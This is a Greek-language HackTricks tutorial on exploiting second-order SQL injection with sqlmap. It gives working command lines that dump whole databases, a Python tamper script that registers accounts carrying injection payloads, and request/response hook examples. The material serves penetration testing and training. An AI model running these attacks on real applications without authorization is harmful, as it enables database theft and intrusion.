Second Order Injection με SQLMap
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Το SQLMap μπορεί να εκμεταλλευτεί Second Order SQLis.
Χρειάζεται να δώσετε:
- Το request όπου το sqlinjection payload θα αποθηκευτεί
- Το request όπου το payload θα εκτελεστεί
Το request όπου αποθηκεύεται το SQL injection payload υποδεικνύεται όπως σε κάθε άλλη injection στο sqlmap. Το request από το οποίο το sqlmap μπορεί να διαβάσει το output/εκτέλεση της injection μπορεί να υποδειχθεί με --second-url ή με --second-req αν χρειάζεται να υποδείξετε ένα πλήρες request από αρχείο.
Απλό παράδειγμα second order:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
Σε αρκετές περιπτώσεις αυτό δεν θα είναι αρκετό επειδή θα χρειαστεί να εκτελέσεις άλλες ενέργειες πέρα από το να στείλεις το payload και να αποκτήσεις πρόσβαση σε μια διαφορετική σελίδα.
Όταν αυτό χρειάζεται, μπορείς να χρησιμοποιήσεις ένα sqlmap tamper. Για παράδειγμα, το ακόλουθο script θα κάνει register έναν νέο χρήστη χρησιμοποιώντας το sqlmap payload ως email και θα κάνει logout.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
Ένα SQLMap tamper εκτελείται πάντα πριν ξεκινήσει μια injection προσπάθεια με ένα payload και πρέπει να επιστρέφει ένα payload. Σε αυτήν την περίπτωση δεν μας νοιάζει το payload, αλλά μας νοιάζει να στέλνουμε κάποια requests, οπότε το payload δεν αλλάζει.
Άρα, αν για κάποιο λόγο χρειαζόμαστε ένα πιο σύνθετο flow για να εκμεταλλευτούμε το second order SQL injection όπως:
- Δημιουργία λογαριασμού με το SQLi payload μέσα στο πεδίο “email”
- Logout
- Login με εκείνον τον λογαριασμό (login.txt)
- Αποστολή ενός request για να εκτελεστεί το SQL injection (second.txt)
Αυτή η γραμμή sqlmap θα βοηθήσει:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Χρήσιμα switches σε πραγματικά second-order flows
Το second-order automation συνήθως αποτυγχάνει επειδή το payload storage request δουλεύει, αλλά το execution request είναι noisy, stateful, ή protected. Όταν συμβαίνει αυτό, τα παρακάτω flags είναι συνήθως πιο χρήσιμα από το να προσθέτεις περισσότερα payloads:
sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
--csrf-token,--csrf-url,--csrf-method: Χρήσιμα όταν το store ή το trigger request χρειάζεται ένα νέο anti-CSRF token σε κάθε προσπάθεια.--live-cookies: Φορτώνει ξανά τα cookies πριν από κάθε request. Χρήσιμο όταν ένα browser/Burp macro ανανεώνει το session state στο background.--safe-reqκαι--safe-freq: Διατηρούν το workflow ενεργό όταν η εφαρμογή σε κάνει logout ή ακυρώνει το session μετά από λίγα failed probes.--string,--not-string,--regexp,--code,--text-only: Χρήσιμα όταν η second-order response περιέχει banners, ads, timestamps ή user-generated junk που κάνει το diffing ασταθές.
When --tamper is not enough
Το tamper.py παραμένει ο πιο εύκολος τρόπος για να register a payload, log out, log in again, and trigger execution. Ωστόσο, σε σύγχρονους targets συχνά είναι πιο καθαρό να μεταφέρεις μέρος της λογικής σε request/response hooks:
--preprocess: Τροποποιεί ολόκληρο το HTTP request πριν σταλεί. Χρήσιμο όταν ένα second-order flow χρειάζεται ένα extra nonce, ένα extra parameter ή normalization των headers.--postprocess: Καθαρίζει το HTTP response πριν το συγκρίνει το sqlmap. Χρήσιμο όταν το second-order sink είναι wrapped σε dynamic HTML και μόνο ένα μικρό fragment είναι stable.
Example request/response hooks:
#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code
Σημαντικοί περιορισμοί
- Μην υποθέτετε ότι το
--second-reqθα επαναλάβει το ίδιο payload μέσα σε ένα*placeholder στο δεύτερο request. Αν και το trigger request χρειάζεται επίσης την injected τιμή (ή μια παράγωγη εκδοχή της), συνήθως απαιτείται customtamper,--preprocess, ή local proxy. - Μην βασίζεστε στο
--evalγια το δεύτερο request. Η επίσημη χρήση του--evalτεκμηριώνει το primary request flow· αν και το δεύτερο request χρειάζεται επίσης per-attempt mutations, χειριστείτε τα μέσα στα helper scripts σας.
Αυτό το pattern είναι ιδιαίτερα χρήσιμο όταν το payload αποθηκεύεται σε μέρη όπως:
- Filenames ή image metadata που ελέγχονται αργότερα
- Registration/profile fields που αργότερα καταναλώνονται από admin panels
- Sorting/filtering preferences που αποθηκεύονται server-side και επαναλαμβάνονται αργότερα
- Workflow state που εκτελείται μόνο μετά από μια preview, export, ή moderation action
References
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


